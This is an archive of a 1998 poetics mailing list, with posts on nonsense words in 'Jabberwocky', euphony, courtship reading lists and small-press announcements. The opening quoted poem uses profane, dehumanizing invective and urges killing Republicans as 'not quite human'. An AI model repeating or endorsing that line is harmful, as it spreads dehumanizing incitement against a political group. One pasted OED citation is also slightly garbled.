> white men filled with dead pus: they stomp the children of the poor,
> rape pollution laws, guarantee we'll drown the world in poison.
> we're raped with rusted guns from world war two three four
> while they fight the righteous fight against women sex longing
> holding dead children on sticks to slap us with, banner banner
> big money big money
> i couldn't stand to party with righteousness
> i couldn't stand to fuck righteousness but their holes are closed
> they have no holes, shit leaks from their mouths,
> piss leaks from their eyes, they write vomit
> they are a real danger, never forget this, behind words
> are guns and mobs and real men, you never forget a real man
> when you look into his dead dead eyes, when you see a Republican
> on the road, kill it, it is not quite human
>
> - Jennifer

↑ Index

488. Lawrence Upton.
Writers Forum
Sun 13 Dec 1998

Writers Forum has over 800 publications out in print but is not on the net.
On its behalf, here are some recent additions etc
*
All orders / enquiries to New River Project, 89a Petherton Road, London N5 2QT
*
COLLABORATIONS FOR PETER FINCH by Lawrence Upton & Bob Cobbing, ISBN 0 86162
784 9, Writers Forum, October 1997, having been out of print for some months, has been reprinted. This is an offshoot of the Domestic Ambient Noise, parts of which was first published by Object Permanence # 8

*
DOUBLE REFLEX by Bob Cobbing & Lawrence Upton, ISBN 0 86162 844 6, December
1998; £1.00 plus p & p
*
DEAD ROADS YOU'LL NEVER USE AGAIN by Lawrence Upton & Bob Cobbing, ISBN 0
86162 845 4, December 1998; £1.00 plus p & p
*
DAN DIPTYCH ISBN 0 86162 846 2, Writers Forum, December 1998, 75p plus p &
p - This is the text used in the performance Alaric Sumner wrote about the other day

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489. **Emily Lloyd**
(no subject)
Sun 13 Dec 1998

> *Twas brillig and the slithy toves*
> *Did gyre and gimble in the wabe*
> *All mimsy were the borogoves*
> *And the mome raths outgrabe.*

Re:syllables/sounds that refer: "The Red Pencil"'s an obnoxious little daily column squeezed onto *The Washington Post*'s Comics page, written by "[redacted]." A month back or so, "wrytor" laid down the line on the sounds of words & what they trigger. The sounds in "melody," it was written, make more people "smile" than the sounds in "thatched" (there was no evidence of a survey, of course). "Wrytor" went on to suggest that it would "behoove poets" to choose words with sounds that "people like" when crafting their poems. Most "atch" words were on the short-lived list I kept of words I liked for their sounds. "Melody" certainly was not, & "lily melody" sure made me grunt when a friend ran my name through an anagram program.

Separately: a linguist I know is currently working on a book about nonsense words "in English." His not-so-ambitious thesis is that nonsense words written by English writers don't (or rarely do) contain sounds that aren't already "acceptable" or "recognizable" to the English reader/speaker. And that we tend to make "bad-guy" aliens, if they're speaking a language (written by an English speaker), which translates to "if they're speaking nonsense," sound vaguely like speakers of languages from whatever country "we're" ("nation-wide") most afraid of or pissed at when the language/nonsense is created. Germans, Russians, etc.; he's got all the proof needed there. The "sounds already acceptable"

applies to the Carroll; as another lister (which?) pointed out, that makes "The Jabberwocky" at *least* refer to the English language. And it was written for English readers. I'm curious as to whether Carroll's poem (surely the book it appears in must've been) has been translated into another written/spoken language: anyone know? I'm curious as to how nonsense words are represented in signed languages. Simply spelled out in the letters of the signer's country? Are there any "nonsense words" peculiar to signed languages? Anyone know?

Yet another lister (forgive me, I'm stil learning this new e-mail acct & can't retrieve the msg while composing) wrote "My wife's name is Tove...Did someone say slippery"? Did someone on the list? If so, I missed it. Carroll said *slithy*. As much as I hate to admit anything to "wrytor," it seems as if sounds & syllables *do* refer, if only because readers are tempted to *make* them refer. The Bernstein quote that started off the whole non-referentiality hubbub makes *more* sense in this context: "the reader's misplaced urge to 'make sense' of poetry." Replace "poetry" with "nonsense."

I know I've always gotten a swampy, slippery feeling from that first stanza of "Jabberwocky," even when I became aware that it was intended as a send-up. I've also always "felt" that the nouns "refer" to creatures/animals: mome raths, toves, borogoves...not inanimate objects, I suppose, because of the verbs, the "fact" that the nouns are verbing. Yet "outgrabe" could easily be read as an adj., say "All pink were the borogoves, and the mome raths grey." Yet I've never read it that way, never "felt" it that way. I'm in no way prepared to agree with "wrytor" that the sounds of words are "pleasant" or "unpleasant" in & of themselves. If more people like the sounds in "melody" than in "thatched," I'd call that a response to what the words, not the syllables, refer to. Or at least, I would very much *want* to. Yet the sounds in "The Jabberwocky" combine in such a way as to give me an overall sense of "swampiness," and I'd be interested to find out if others out there have "felt" this "sense," or another sense--say, an urban one. Or "felt" no "sense" at all--felt the words entirely non-referential. It pisses me off that I'm not capable of "not getting a feeling" about the sense of those words & syllables, that I'm a captive of referrals, that "slithy" might make me hear "slippery" and "slimy" and think "slithy" a *stronger* "English word" for making me feel both those two words and something else--say the excitement, or say the nausea, of an unrecognizable word...

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490. Billy Little
seducers
Sun 13 Dec 1998

>> << if you were going to court a beloved, what poetry book would you
>> buy him/her? >>
>
>
Vita Nuova Dante
Amores Ovid
Catullus by Louis Zukofsky
Twenty Love Poems Pablo Neruda
Gypsy Guitar David McFadden
Art of Love Kenneth Koch
Kathy Goes To Haiti Kathy Acker
g. John Berger
Hermetic Definitions H. D.
More Pansies D.H. Lawrence

Let go, shirk off the moderate little grace of vain
Cupid and grease the silver and lascivious age.
His livid qualms dope our cool arrival.
Rich poems sag like great nuns; art cheats time's martyrs.
--Lisa Robertson XEclogue

billy little
4 song st
satori, b.c. V0R1Z0

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491. Lawrence Upton.
(no subject)
Sun 13 Dec 1998

Apologies. I didn't quite manage to write the following in English -

COLLABORATIONS FOR PETER FINCH by Lawrence Upton & Bob Cobbing, ISBN 0 86162 784 9, Writers Forum, October 1997, having been out of print for some months, has been reprinted. This is an offshoot of the Domestic Ambient Noise; parts of it were first published by Object Permanence # 8

All orders / enquiries to New River Project, 89a Petherton Road, London N5 2QT, UK. Send s.a.e. / i.r.c. with enquiries please

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492. **Bob Grumman**
syllable-sounds
Sun 13 Dec 1998

In disagreement with Emily, I'm convinced that there are naturally- pleasant sounds. There is research, I'm fairly sure, to corraborate this, but I'm going by experience and vague memory of a lot of reading in or near the subject. I think the "euphony" of "ah," "oh" and "ooo" is widely-recognized and follows from these sounds being baby- sounds, and unbelligerant; "aah," "ih," "eh" and similar sounds are normally associated in nature with threatening sounds, or sick sounds. Compare a baby's cooing with adult rage or the sound of someone barfing. Similarly with consonants: sibilants sound "nicer" than harsher sounds (the name of which escapes me)--because harsher sounds are more usually part of growls, etc. Also, "nice" sounds are generally, perhaps always, easier to say than harsh ones.

For the same reason, I contend that there are naturally harmonic chords, though this gets into the structure of the human auditory system. Primary colors, too, are naturally more appealing than secondary colors.

So, the argument comes back, why do I prefer lime green to blue. Because we mature out of simple, natural "good taste," especially those of us who are artists, or aesthetically-sensitive. Too much of a good thing equals boredom, so we come to like discord as a hedge against boredom. There are all kinds of further complications I don't have time to get into. Just wanted to throw out the cocktail-party- level preliminaries.

--Bob G.

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493. **louis stroffolino**
Re: The Hatters
Sun 13 Dec 1998

Everybody is making an assumption that Chris Edgar is a male...
It isn't like her name is Edgar Chris

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494. **Leonard Brink**
Re: non-referential poems for your consideration
Sun 13 Dec 1998

> *<< >Would anyone claim that the following stanza from Lewis Carroll is 'referential'?*

> *Twas brillig and the slithy toves*
> *Did gyre and gimble in the wabe*
> *All mimsy were the borogoves*
> *And the mome raths outgrabe.*
>
> *Leonard Brink writes: >Well, for starters, "brillig" refers to a time of day (approximately 4*
> *pm) and "slithy toves" refers to toves that are both slippery and lithe.*
>
> *George Thompson writes:*
> *I don't think so. 'Brillig' in fact is simply filling certain slots*

For what it's worth, I wasn't just gyring and gimbling. If memory serves, it was Lewis Carroll who said those words referred to those things.

Mimsily,

Leonard

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495. **Emily Lloyd**
Re: syllable-sounds
Sun 13 Dec 1998

Bob G wrote: >>>sibilants sound "nicer" than harsher sounds (the name of which escapes me)--because harsher sounds are more usually part of growls, etc. Also, "nice" sounds are generally, perhaps always, easier to say than harsh ones.<<<

But do sibilants sound nicer to speakers of all, or even most, languages? The German "Ich" sounds a bit like someone gagging, but its "Gott" sounds firm and strong compared to "Dieu"'s 'boneless string of vowels.' French is so smooth that (oh forgive me, French posters) it can sound like someone murmuring English in her sleep. A British friend tells me that after a year in Russia, English sounds choppy, clumsy, disjunct. Nice sounds are easier to say than harsh ones for whom? Those whose languages do not include many harsh ones...(?)

>>For the same reason, I contend that there are naturally harmonic chords, though this gets into the structure of the human auditory system.<< Oh, Bob, we *do* disagree! Play nothing but atonal music for a month or so and it sounds "correct" in the body; my old electronic music prof actually felt (at least, I believed it when I saw it) physical pain if one played a C-major chord on the piano. I've felt a bit queasy on hearing them after lengthy forays into non-harmonic listening. I'd hate to chalk up my preference for such music to my "good taste," to having become bored with more "natural" chords...I

chalk it first to (assigned) immersion, and not-too-long after that, a feeling/conviction that *it* was what was "natural" (read: sounded good) to me now. Did I need to be immersed in harmonic music before it felt "right" to my body? I have no idea; I was immersed in it before I was born, and while a cooing baby...one more question for the wild boy of Aveyron...

I'm glad for your good arguments for disagreement, though; I even agree with some of 'em. No question that I'd rather hear a cooing baby than a puking adult. But what if adorable babies sounded like puking adults, and puking adults sounded like cooing babies? At any rate, it's all tangled up in referentiality & nature vs. nurture & heavenly labia, oops, -ls, in a world of gutturals. And whatever the oops purports, I'm one of those who thinks "it's" a choice...

best, em

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496. **Jason Nelson**
the words of cb
Sun 13 Dec 1998

Oh list,

A few day ago, as days do, a Mr. charles bernstein posted a rather long mentioning of various things. I was rather, then rather empty that day.

So to eleviate things or other things I took some of his words and hid them. I kept the others that seemed to fit together best in the following badly fitting inter-textual poem: I don't have a title: can they suggest or is that a throat problem.

(possibly: a title?) (Oh, and this is just part one, enjoy as enjoy goes)

This is untrue,

the subscriber going numerous
past, the end while the two or one were twice detailing
correspondence.

But I haven't, because I considered
at a certain point. You realize matter into something
ideological a disservice , indeed serious’, accusationmight.

Even such a formidable as the end
would be not clairvoyant. The more

obvious conclusion might have=asked to observe
as four consolidating.

Their posts realize a second else.

Unambiguously manifest she or he no intention
abiding by the basic. Decisively. You are wrong.

Gabriel Gudding's status has never been.
And his ability directly is the same as anyone
reading would aware.

There was the assumption. Considerable and providing are guilty of something and, er, know to find ways.

I realize those and most do something=again.
They spoke of the list being tone, tended or scolding and ignored.

Hectoring tones described to me, over and again,
the space for one thing. I was committed
Having the list be=even the tiniest amount. Intervention,
the most unassailable grounds, and compliance, the stated firestorm

The fact is -- I realize.

Anyone else=irony. Here.
The few men address about=the needs and those who want an unlimited I.
history rather number by exactly

Belligerent is anyone in one way or another. People rarely focused on recently.

The tendency is however. It= is
but also the of=to.

things being what things being,

Jason Nelson

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497. **MAYHEW**
pseudo-reference
Sun 13 Dec 1998

I didn't mean to suggest that all language is referential (in my post that helped get this thread going), just that this wasn't a useful discriminator for L=a=n=g poetry (e.g. all language poetry is non-referential). Yvor Winters wrote about

psuedo-reference apropos of certain lines of Eliot and other modern poets. In other words, you can refer to something that doesn't exist and for which there is no context for the reader to identify. L. Carroll was doing something similar--by syntax "brillig" has to refer to a time of day or season of the year, etc.. In some sense the reader* wants* this to be referential, even in absence of specifiable referent. Blue psuede-shoe-referentiality.

Where can I get a copy of The Hat? I have deleted original announcement if there was one. Also, in my misremembering of teaching Reagan to count backwards by sevens I had substituted 8, associating this number with his two presidential terms (8 years)--another sort of pseudo-reference perhaps. Also I remember an essay by G. Davenport on Olson's Kingfisher--to the effect that several individuals who had recommended him the poem in the strongest possible terms had no idea what it was about referentially--for example no one could tell him who "Fernand" was.

Jonathan

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498. **David Zauhar**

Re: poetics of impeachment (pomes fer cortin')

Sun 13 Dec 1998

> *At 12:48 AM 12/13/98 -0500, you wrote:*
> *if you were going to court a beloved, what poetry book would you buy him/her?*

James Schuyler, the Selected or the Collected.

David Zauhar
University of Illinois at Chicago

"Opaque melodies that would bug most people,
Music from the other side of the fence."

--Captain Beefheart

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499. **Judy Roitman**

Re: non-referential poems for your consideration

Sun 13 Dec 1998

> *Would anyone claim that the following stanza from Lewis Carroll is 'referential'?*
>
> *Twas brillig and the slithy toves*
> *Did gyre and gimble in the wabe*

> *All mimsy were the borogoves*
> *And the mome raths outgrabe.*
>
> *Well, for starters, "brillig" refers to a time of day (approximately 4 pm) and "slithy toves" refers to toves that are both slippery and lithe.*
>
> *I don't think so. 'Brillig' in fact is simply filling certain slots [metrical, syntactic, narrative, etc.] in a linguistic structure, a machine, or if you want a poem.*
>
> *Maybe those of us who have a vague sense of the history of the language can detect a Germanic suffix in the sequence '-ig' at the end of 'brillig'. With that in mind, as well as the phonic association with 'brilliant' and maybe even memories of Old French, we still wouldn't know that this is a word in English except for its position after 'twas'. The point, I think, is that we could put ANYTHING in this slot, and as long as it satisfies all the relevant metrical, syntactic, and narrative requirements, it would WORK. That is, it would mean "a time of day (approximately 4 pm)", or something similar.*
>
> *The same applies to 'slithy' and 'tove' and in fact to all of the other so-called reference words in the poem.*
>
> *Speak of erasure. Carroll has erased all reference here, leaving only the function words that have value only within a given linguistic system. We recognize the '-s' at the end of 'toves' as a plural marker. It is a very familiar morpheme in English, of course. But it has no reference to anything outside of the universe of the English language. Neither does 'twas'.*
>
> *As Mark Weiss suggests, it WOULD be interesting to tease out the so-called referentiality here, if that is that it is.*
>
> *GT*

But I can _picture_ all of this! In fact, if I could draw, I could draw a picture of all this.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://www.math.ukans.edu/~roitman/

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500. Judy Roitman
(no subject)
Sun 13 Dec 1998

> *Separately: a linguist I know is currently working on a book about nonsense words "in English." His not-so-ambitious thesis is that nonsense words written by English writers don't (or rarely do) contain sounds that aren't already "acceptable" or "recognizable" to the English reader/speaker. And that we tend to make "bad-guy" aliens, if they're speaking a language (written by an English speaker), which translates to "if they're speaking nonsense," sound vaguely like speakers of languages from whatever country "we're" ("nation-wide") most afraid of or pissed at when the language/nonsense is created.*

I was listening to NPR the other morning when someone speaking an indigenous Indonesian language came on --- you know, the 10 second snippet before the translator starts in --- and I thought of course! the bar scene in star wars! that's where they got it from!

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://www.math.ukans.edu/~roitman/

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501. Todd Baron /*/ ReMap
Re: The Hat/that women writers write to wear
Sun 13 Dec 1998

J Kuszai wrote:
>
> dale, hoa, & other editors:
>
> thanks for the description of The Hat. You mention that Jordan and Chris
> (two boys) haved edited an issue of a magazine with all women poets. Why
> is this a surprise? While it may be unusual, I think it is only as one
> famously male's male's male would say, "apropos." Women, generally, are
> doing much more interesting writing these days, and have been since the
> 70s.

I want to second J's response here and once more sugest to those that haven't to GET (now!) Margy Sloan's MOVING BORDERS anthology: 3 decades of innovative writing by women. As I continue to read through it I am moved by the language of the poets here--from the amazing Neidecker piece to Diane Ward to Cole Swenson to Waldrop to....the end of the alphabet.

By the By--what was anyone's reaction to the New York Times Magazine article on Laser Tech. detective work (2 weeks ago--sunday) on Emily Dickinson's letters and poems regarding her sister/in/law/lover etc and/or the rest? The article focused on the "personal" as overriding the public art of Beethoven (or his privates--his love life as evidenced by hair strands and the DNA test that might prove he had syph.) and Emily Dickinson's "external" life as evidence by new laser "readings " of her work.....

---

yours,

Todd Baron
(ReMap)

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502. **Bob Grumman**
Re: syllable-sounds
Sun 13 Dec 1998

Back to you briefly, Emily:

I would guess that sibilants (and "silibants" wasn't a typo, but I saw it was wrong as soon as I saw myself quoted, so I guess there's hope for me) initially sound nicer to all human beings, and maybe even mammals. But language is hugely complex, and expressiveness much more important than euphony. My bottom-line point, strongly on nature's side versus nurture, is that we start in all sensory modalities with simple near-universal likes, and grow away from them into various levels of complexity. Gustatory likes seem this way, though influenced by each person's physiology. In music I suspect all humans initially prefer chords whose component notes are in a simply harmonic relation to each other. Maybe the ratios would vary from one culture to another, but not the fact of simple ratios. I'll bet that truly atonal music is an acquired taste in all cultures. I'm sure repetition is the basis of pleasure--and of boredom; so some but not too much repetition is best. A note an octave above another would initially seem most pleasurable to a baby, I believe, once the baby has become bored with the second note's repetition.

Nice sounds are easier to say than harsh ones for whom? For everyone. I'm just referring to how much one has to open one's mouth and shape it, etc., to say a sound; by this criterion, vowels are more pleasant than consonants--except for a cat's purr, of course. Sibilants are easier to say than--still can't recall the word.

Metric verse is initially more pleasurable than non-metric, all else kept equal. But there's the danger of boredom. And the problem of losing other values through over-concentration on meter.

Sure, acquired tastes eventually feel natural. And the too-simple unpleasant. I remember working at a place that played a muzak station; fifty employee and I remember feeling rather superior because only I and a grad student in music who was working there part-time complained about it. It really did make me almost physically ill. I even purposely turned on the computer press (back then big and noisy and I wasa computer operator) because I preferred its sound to that of the "music," most of whose melodies I liked! And I still have trouble believing people who tell me that pop music is just noise. To me its problem is that it's too innocuous, too much the predictable opposite of noise.

I think if puking adults sounded like cooing babies do now and happy babies sounded like puking adults do now, we would naturally hear puking sounds as pleasant, cooing as unpleasant--except for the klinker that cooing is an easy sound to make (the long o, I would say, is the easiest sound to make, then the u in cooing--and both, come to think of it, come into play when one is hurt), so babies by my reasoning would not naturally make puking sounds to express content, nor puking's sounds (biologically "chosen" to alarm others into helping, I believe, and thus not likely to be innocuous) likely to be simple coos.

No more. Too complicated for less than a book--and easier access to more research, etc., than I have!!!

--Bob G.

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503. **Gwyn McVay**
Re: syllable-sounds
Sun 13 Dec 1998

>A note an octave above another would initially seem most pleasurable to a baby, I believe, once the baby has become bored with the second note's repetition.<

This being the case, then why don't infants flip for /West Side Story/, with that octave jump on "Ma-RI-a"?

Gwyn,
just another alto singing the boring part
for the sake of harmony

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504. Gwyn McVay
the bar scene
Sun 13 Dec 1998

>>>indigenous Indonesian language came on --- you know, the 10 second snippet before the translator starts in --- and I thought of course! the bar scene in star wars! that's where they got it from!

Judy, Lucas is not shy about sampling Earthling languages; in the non-climatic climactic battle scene in the last of the three movies, Lando Calrissian says something urgent to his fish-jowled copilot, who responds in some genuine African language, I want to say Swahili--"Ten thousand herds of elephants are standing on my foot!"

Combine that with the Star Trek episode about a planet of beings who speak only in metaphor, and you're off.

Gwyn

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505. Rachel Loden
"My NAME is Alice, but-- "
Sun 13 Dec 1998

"It's a stupid name enough!" Humpty Dumpty interrupted impatiently. "What does it mean?"

"MUST a name mean something?" Alice asked doubtfully.

"Of course it must," Humpty Dumpty said with a short laugh: "MY name means the shape I am--and a good handsome shape it is, too. With a name like yours, you might be any shape, almost.'

*

"Of course you know your ABC?" said the Red Queen.

"To be sure I do." said Alice.

"So do I," the White Queen whispered: "we'll often say it over together, dear. And I'll tell you a secret--I can read words of one letter! Isn't THAT grand! However, don't be discouraged. You'll come to it in time."

*

OED:

'slithy, a.1 Obs.1
? var. of sleathy a.
1622 W. Whately God’s Husb. ii. 116 We make no great matter of the lower degrees of sinne, and so grow slithy, and fashionable, and dead in our confessions.

slithy (_____), a.2 Also †slythy. [Presumably a blend of slimy a. and lithe a.] A word invented by ‘Lewis Carroll’: ‘smooth and active’ (‘Carroll’, 1855, 140) and popularized esp. in phr. slithy toves from Through the Looking-Glass (1871). Also in subsequent allusive uses. 1855 ‘L. Carroll’ Rectory Umbrella & Mischmasch (1932) 139 Twas bryllyg and the slythy [1871: slithy] toves Did gyre and gymble in the wabe. 1920 ‘K. Mansfield’ Let. 27 Sept. (1928) II. 48, I watched him [sc. a lizard] come forth to-day–very slithy–and eat an ant. 1928 A. S. Eddington Nature of Physical World xiii. 291 Eight slithy toves gyre and gimble in the oxygen wabe; seven in nitrogen. 1937 G. Frankau More of Us 2 While the free-versifier gyres and gimbles The slithy tove–with his own ‘private symbols’. 1960 H. Marchand Categories x. 368 Lewis Carroll’s slithy.., chortle..have become common property. Shakespeare’s glaze (f. glare and gaze) has not. 1981 Time Out 2026 Mar. 54/1 Pity the slithy toves of academe.

tove (____).
A factitious word introduced by ‘Lewis Carroll’ (see quot. 18552).
Quot. 18551 also occurs in the first verse of ‘Jabberwocky’ in Through the Looking-Glass (1871) i. 21.
1855 [see slithy a.].
1855 ‘L. Carroll’ Rectory Umbrella & Mischmasch (1932) 142 Tove, a species of Badger. They had smooth white hair, long hind legs, and short horns like a stag: lived chiefly on cheese.
1928 [see slithy a.].
1937 G. Frankau More of Us 2 While the free-versifier gyres and gimbles The slithy tove–with his own ‘private symbols’.

gyre (_____), v. poet. Also 5, 7 gire.
[ad. L. gyrare, f. gyrus (see prec.).]
1. trans. To turn or whirl round. rare.
c1420 Pallad. on Husb. i. 327 The side in longe vppon the south, let sprede..gire hit from the colde west, if thow conne.
1628 Bp. Hall Rem. Wks. (1660) 25 With the spightful Philistim, he [the Devil] puts out both the eyes of our apprehension and judgement, that he may gyre us about in the Mill of unprofitable wickednesse.
1885 G. Meredith Diana Crossways xxii, She was out at a distance on the

ebb-sands hurtled, gyred, beaten to all shapes.
† 2. To revolve round, compass. Obs.
c1420 Pallad. on Husb. x. 203 September is with Aprill houris euen, ffor Phebus lijk in either gireth heuen.
3. intr. To turn round, revolve, whirl, gyrate.
1593 Drayton Eclog. ii. 71 Which from their proper Orbes not goe, Whether they gyre swift or slow.
1598 Yong Diana 10 When to the west the sunne begins to gyre.
1633 P. Fletcher Purple Isl. ii. xxxvii, A..groom..Which soon the full-grown kitchin cleanly drains By divers pipes, with hundred turnings giring.
Ibid. iv. viii, Round about two circling altars gire In blushing red.
1808 J. Barlow Columb. iii. 785 Mutual strokes with equal force descend..now gyring prest High at the head, now plunging for the breast.
1814 Southey Roderick xii, The eagle’s cry, Who..at her highest flight A speck scarce visible, gyred round and round.
1871 ‘L. Carroll’ Through Looking-Glass i. 21 ’Twas brillig, and the slithy toves Did gyre and gimble in the wabe.
1920 W. B. Yeats Demon & Beast in Coll. Poems (1950) 210 To watch a white gull take A bit of bread thrown up into the air; Now gyring down and perning there.
1930 E. Pound XXX Cantos xxv. 114 Three lion cubs..which born at once began life and motion and to go gyring about their mother.
1951 S. Spender World within World v. 283 The bomber was gyring and diving.
Hence
'gyring vbl. n., revolution, gyration.
'gyring ppl. a., revolving, whirling, gyrating; also, encircling, encompassing; whence
'gyringly adv., with revolving motion.
1575 Laneham Let. (1871) 18 With sundry windings, gyrings, and circumflexions.
1590 Peele Polyhymnia 36 At the shock The hollow gyring vault of heaven resounds.
1594 J. Dickenson Arisbas (1878) 72 One colour teinteth all, Turrets, doores, and gyring wall.
1598 — Greene in Conc. (1878) 150 Wind-tossed waues which with a gyring course Circle the Centers-ouerpeering maine.
1635 Quarles Embl. iv. ii. (1718) 193 This gyring lab’rinth.
1635 Heywood Hierarch. ii. 63 They [the Heavens] alter in their gyring more or less.
a1640 Day Parl. Bees (1881) 76 The massie world..That on Gyreing [so

MS.] spheares is hurld.
1659 Torriano, A-gironda, giringly, about and about.

wabe (____).
A factitious word introduced by ‘Lewis Carroll’ (see quot. 18552).
1855 ‘L. Carroll’ Rectory Umbrella & Mischmasch (1932) 139 The slythy toves Did gyre and gymble in the wabe.
Ibid. 140 Wabe, (derived from the verb to swab or soak). ‘The side of a hill’ (from its being soaked by the rain).
1871 — Through Looking-Glass 24 The slithy toves Did gyre and gimble in the wabe.

mimsey (_____), a. dial. Also mimsy, mimzy. [f. mim a.: cf. clumsy, flimsy, tipsy.] ‘Prim, prudish; contemptible’ (E.D.D.). Lewis Carroll’s mimsy, which may be an invented word, has influenced all subsequent uses. 1855 ‘L. Carroll’ Rectory Umbrella & Mischmasch (1932) 139 All mimsy were the borogoves. Ibid. 140 Mimsy, (whence mimserable and miserable). ‘Unhappy.’ 1880 Antrim & Down Gloss., Mim, Mimsey, prim, prudish. 1895 S. Christian Sarah (ed. 4) 262 She is no mimzy miss to be scared, or a reed to break if you lean your hand on it. 1911 C. Mackenzie Passionate Elopement xxi. 186 Four shillings and sixpence, ma’am, for a little mimsy book not so thick as the magick history of Jack the Giant Killer. 1920 D. H. Lawrence Touch & Go 6 Good plays? You might as well say mimsy bomtittle plays, you’d be saying as much. 1933 W. de la Mare Lord Fish 171 Treading mimsey as a cat. 1934 Times Educ. Suppl. 24 Mar. p. iv/2 A people unimaginative enough to accept a mimsy and scrannel ‘P.R.’ in place of the organ music, the soul-uplifting harmony of ‘Proportional Representation’. 1936 Punch 10 June 650/1 ‘It’s the glamour of it,’ sighed Josephine. ‘Whenever I smell a programme I go quite mimsey–honestly I do.’ 1937 ‘N. Blake’ There’s Trouble Brewing i. 24 An affected mimsy sort of voice that she reserved presumably for cultural pronouncements: Nigel preferred her normal, unmitigated boom. 1956 J. Cannan People to be Found vii. 91 With horror they had seen the lawns of the Botanic Gardens torn up and replaced by a mimsy pseudo-Elizabethan rose-garden. 1963 Times 8 Feb. 14/3 Moreover his interpolated variation in the first act, danced to the normally unused andante of the pas de trois and consisting largely of slow pirouettes en attitude, looked as mimsy as the borogroves [sic], and could not be regarded as successful.

mome (____), a. A factitious word introduced by ‘Lewis Carroll’ (see quot. 1855). Also occurs in Through the Looking-Glass (1871) i. 21. 1855 ‘L. Carroll’ Rectory Umbrella & Mischmasch (1932) 139 All mimsy were the borogoves; And the mome raths outgrabe. Ibid. 140 Mome (hence solemome, solemone and solemn), ‘grave’. 1960 M. Gardner Annotated Alice 195/1 ‘Mome’ has a number of obsolete meanings such as mother, a blockhead,..none of which, judging from Humpty Dumpty’s interpretation, Carroll had in mind. 1970 R. D. Sutherland

Lang. & Lewis Carroll vii. 149 Humpty Dumpty is reporting the generally accepted meanings... The information he imparts is ‘as sensible as a dictionary’... He admits some difficulty with mome.

rath (____, ___), n.2 A factitious word introduced by ‘Lewis Carroll’ (see quot. 18552). Quot. 18551 also occurs in the first verse of ‘Jabberwocky’ in Through the Looking-Glass (1871) i. 21. 1855 ‘L. Carroll’ Rectory Umbrella & Mischmasch (1932) 139 All mimsy were the borogoves; And the mome raths outgrabe. Ibid. 140 Rath, a species of land turtle. Head erect: mouth like a shark: the fore legs curved out so that the animal walked on its knees: smooth green body: lived on swallows and oysters.

outgrabe (_____), v. A factitious word introduced by ‘Lewis Carroll’ (see quot. 18552). (In quot. 1903 used for ‘outdo’, after the style of out-Herod, etc.) Quot. 18551 also occurs in the first verse of ‘Jabberwocky’ in Through the Looking-Glass (1871) i. 21. 1855 ‘L. Carroll’ Rectory Umbrella & Mischmasch (1932) 139 All mimsy were the borogoves; And the mome raths outgrabe. Ibid. 140 Outgrabe, past tense of the verb to outgribe. (It is connected with the old verb to grike or shrike, from which are derived ‘shriek’ and ‘creak’.) ‘Squeaked.’ 1876 — Hunting of Snark v. 50 The Beaver had counted with scrupulous care, Attending to every word: But it fairly lost heart, and outgrabe in despair, When the third repetition occurred. 1903 Sat. Rev. 7 Feb. 164/1 Deadmanship! wrote..Dr. Shrapnel..; and the word is fit to stir the jealous admiration of Carlyle or even Lewis Carroll. Indeed Dr. Shrapnel ‘outgrabed’ them both.

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506. George Thompson

Re: non-referential poems for your consideration

Sun 13 Dec 1998

First of all, it was not Lewis Carroll who suggested that 'brillig' means 'four o'clock in the afternoon.' It was Humpty Dumpty. Now, this is the same egg who assured Alice that 'glory' means 'there's a nice knock-down argument for you' [Gabe Gudding, are you listening?].

When Alice questioned this meaning, H.D., of course, replied ['in a rather scornful tone'], 'When *I* use a word it means just what I choose it to mean -- neither more nor less.'

Seems like a lot of this list has the same theory of semantics that H.D. has. Me, I'm with Alice on this one. I know the difference between meaning and reference, for example [as for Carroll, he was rather close to Alice too, on this occasion as on others, and in fact I think he was teasing us about 'brillig'].

We are flirting with an interesting phenomenon here, though, as Jonathan Mayhew suggests in talking about pseudo-reference. He suggests that the reader *wants* 'brillig', etc., to be referential.

I don't question Judy Roitman's ability to _picture_, even draw in great detail, in response to Jabberwocky. I think I can too. That's one of this poem's great charms. But my point is that this picture that we see, that we want to see, so well, has been accomplished by a Rube Goldberg machine, I mean a poem, that has no real-world referenece in it.

We have recognizable meter and rhyme and stanza shape. We have utterly regular and standard syntax and grammatical structure. We have standard narrative conventions and cues at all of the right places. But, I think, we have no reference.

Tristan Tzara PROMISED that if you use one of our now old-favorite cut-up techniques to generate a random poem, 'THE POEM WILL BE LIKE YOU.'

What? Is this magic? Is it psychoanalysis? Is it poetic genius?

No, none of those.

It is, in my view, the autonomous play of language in our heads. To be more precise, it is the play of the phonemic, morphological, metrical, syntactic, etc., rules of a linguistic system that governs our minds far more strictly and pervasively than Charles Bernstein governs our list.

To toss in another big gun: as Heidegger also said, Die Sprache spricht [not us].

Language is one of those voodou loas that ride us, is my point.

Now I'll listen for a week.

seasons cheers to one and all [Henry too]

GT

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507. **Carla Billitteri**

Announcing a new electronic journal . . .

Sun 13 Dec 1998

L A G N I A P P E

poetry and poetics in review

Edited by Graham Foust and Ben Friedlander

now available on-line at

http://writing.upenn.edu/~foust/lagniappe.html

Issue no. 1 (Fall 1998) features
an essay on sound and visual poetry by Michael Basinski
and includes reviews by Chris Alexander, Carla Billitteri,
Steve Evans, Benjamin Friedlander, Graham Foust, Brian Lampkin,
Linda Russo and Robert Zamsky.

Books reviewed include:
Kevin Killian, _Argento Series_
Elaine Equi, _Friendship with Things_
Alice Notley, _Mysteries of Small Houses_
Barrett Watten, _Bad History_
Thomas Pepper, _Singularities_
Cole Swenson, _Noon_
Anselm Berrigan, _They Beat Me over the Head with a Sack_
Peter Jaeger, _Stretch Conflates_
Lisa Robertson, _Debbie: An Epic_
Theodore, Pelton, _Malcolm and Jack_
Mary Margaret Sloan, ed., _Moving Borders_
Mark Scroggins, ed., _Upper Limit Music_

Deadline for submissions for issue no. 2:
February 1, 1999

E-mail queries to:

[redacted] or [redacted]

Send material for review to:

Graham Foust or Ben Friedlander
Department of English
306 Clemens Hall
Buffalo, NY 14260

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508. **BETSY ANDREWS**
Re: poetics of impeachment
Sun 13 Dec 1998

> *if you were going to court a beloved, what poetry book would you buy him/her?*

Christina Peri Rossi's EVOHE

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509. **Chris Nagler**
Re: Louis Carroll, Hugo Ball, etc
Sun 13 Dec 1998

